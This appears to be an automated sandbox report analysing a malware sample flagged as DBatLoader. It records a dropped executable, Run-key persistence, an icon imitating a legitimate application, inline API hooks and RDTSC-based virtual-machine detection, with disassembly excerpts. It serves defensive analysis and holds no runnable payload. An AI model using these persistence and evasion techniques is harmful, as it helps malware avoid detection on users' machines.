Source:	Binary string: wntdll.pdbUGP source: WZ454554.exe, 00000009.00000002.408286110.0000000000A90000.00000040.00000001.sdmp, WZ454554.exe, 00000009.00000002.409087872.0000000000BAF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429687044.0000000000B5F000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429448664.0000000000A40000.00000040.00000001.sdmp, help.exe, 00000014.00000002.559731759.00000000031E0000.00000040.00000001.sdmp, help.exe, 00000014.00000002.560116485.00000000032FF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437079630.0000000000980000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000003.420862619.00000000007E0000.00000004.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437691847.0000000000A9F000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.431480106.00000000037E0000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.433718675.00000000038FF000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437536905.00000000033C0000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437717560.00000000034DF000.00000040.00000001.sdmp
Source:	Binary string: cmd.pdbUGP source: Hyrzbcwcas.exe, 00000011.00000002.432784499.0000000000DD0000.00000040.00020000.sdmp, cmd.exe, 00000019.00000000.427671130.0000000000D80000.00000040.00020000.sdmp, cmd.exe, 00000019.00000002.430750073.0000000000D80000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: WZ454554.exe, WZ454554.exe, 00000009.00000002.408286110.0000000000A90000.00000040.00000001.sdmp, WZ454554.exe, 00000009.00000002.409087872.0000000000BAF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, Hyrzbcwcas.exe, 00000011.00000002.429687044.0000000000B5F000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000011.00000002.429448664.0000000000A40000.00000040.00000001.sdmp, help.exe, 00000014.00000002.559731759.00000000031E0000.00000040.00000001.sdmp, help.exe, 00000014.00000002.560116485.00000000032FF000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437079630.0000000000980000.00000040.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000003.420862619.00000000007E0000.00000004.00000001.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437691847.0000000000A9F000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.431480106.00000000037E0000.00000040.00000001.sdmp, cmd.exe, 00000019.00000002.433718675.00000000038FF000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437536905.00000000033C0000.00000040.00000001.sdmp, help.exe, 0000001C.00000002.437717560.00000000034DF000.00000040.00000001.sdmp
Source:	Binary string: help.pdbGCTL source: WZ454554.exe, 00000009.00000002.408113212.0000000000659000.00000004.00000020.sdmp, WZ454554.exe, 00000009.00000002.413836751.0000000002A50000.00000040.00020000.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437020676.0000000000950000.00000040.00020000.sdmp
Source:	Binary string: help.pdb source: WZ454554.exe, 00000009.00000002.408113212.0000000000659000.00000004.00000020.sdmp, WZ454554.exe, 00000009.00000002.413836751.0000000002A50000.00000040.00020000.sdmp, Hyrzbcwcas.exe, 00000015.00000002.437020676.0000000000950000.00000040.00020000.sdmp
Source:	Binary string: cmd.pdb source: Hyrzbcwcas.exe, 00000011.00000002.432784499.0000000000DD0000.00000040.00020000.sdmp, cmd.exe, 00000019.00000000.427671130.0000000000D80000.00000040.00020000.sdmp, cmd.exe, 00000019.00000002.430750073.0000000000D80000.00000040.00020000.sdmp

Data Obfuscation:

Yara detected DBatLoader

Show sources

Source: Yara match	File source: WZ454554.exe, type: SAMPLE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.Hyrzbcwcas.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.Hyrzbcwcas.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.Hyrzbcwcas.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000000.416006494.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.323155523.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.321956986.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.360667337.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.322739212.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.417791279.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.322356028.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.363228459.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.417110071.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.395638954.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.558403513.0000000002FA0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.398461439.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.397793786.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283008845.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.415275359.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.397308343.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.342065760.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.362225116.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.361296807.0000000000401000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Contacts\Hyrzbcwcas.exe, type: DROPPED

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D976 push dword ptr [4B077C1Dh]; ret
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00417103 pushfd ; retf
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_004169FE push eax; retf
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D4E2 push eax; ret
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D4EB push eax; ret
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D495 push eax; ret
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D54C push eax; ret
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B0D0D1 push ecx; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D976 push dword ptr [4B077C1Dh]; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00417103 pushfd ; retf
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_004169FE push eax; retf
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D4E2 push eax; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D4EB push eax; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D495 push eax; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D54C push eax; ret
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00ABD0D1 push ecx; ret

Source: C:\Users\user\Desktop\WZ454554.exe

File created: C:\Users\user\Contacts\Hyrzbcwcas.exe

Jump to dropped file

Source: C:\Users\user\Desktop\WZ454554.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas			Jump to behavior
Source: C:\Users\user\Desktop\WZ454554.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Hyrzbcwcas			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Show sources

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: icon306.png

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x88 0x8E 0xE3

Source: C:\Windows\SysWOW64\help.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\WZ454554.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\WZ454554.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\WZ454554.exe	RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002B19904 second address: 0000000002B1990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002B19B7E second address: 0000000002B19B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000003009904 second address: 000000000300990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmd.exe	RDTSC instruction interceptor: First address: 0000000003009B7E second address: 0000000003009B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002AD9904 second address: 0000000002AD990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\help.exe	RDTSC instruction interceptor: First address: 0000000002AD9B7E second address: 0000000002AD9B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\explorer.exe TID: 2952

Thread sleep time: -40000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\WZ454554.exe

Code function: 9_2_00409AB0 rdtsc

Source: C:\Users\user\Contacts\Hyrzbcwcas.exe

API coverage: 8.1 %

Source: C:\Users\user\Desktop\WZ454554.exe

Process information queried: ProcessInformation

Source: explorer.exe, 0000000A.00000000.365791216.0000000000B7D000.00000004.00000020.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.372898871.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.333816803.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.380728239.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000A.00000000.333816803.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000A.00000000.330482298.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.335749563.0000000008957000.00000004.00000001.sdmp	Binary or memory string: 8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 0000000A.00000000.330482298.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: explorer.exe, 0000000A.00000000.354514242.0000000008957000.00000004.00000001.sdmp	Binary or memory string: 2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 0000000A.00000000.360107925.000000000EF2A000.00000004.00000001.sdmp	Binary or memory string: 0d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.333816803.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\WZ454554.exe

Code function: 9_2_00409AB0 rdtsc

Source: C:\Users\user\Desktop\WZ454554.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF90AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AEF0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AEF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AEF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AB9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B33884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B33884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AB58EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADB8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADB8E4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AB40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AB40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AB40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B4B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ACB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ACB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ACB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ACB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADA830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADA830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADA830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADA830 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B37016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B37016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B37016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B84015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B84015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B72073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B81074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B351BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B351BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B351BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B351BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B749A4 mov eax, dword ptr fs:[00000030h]
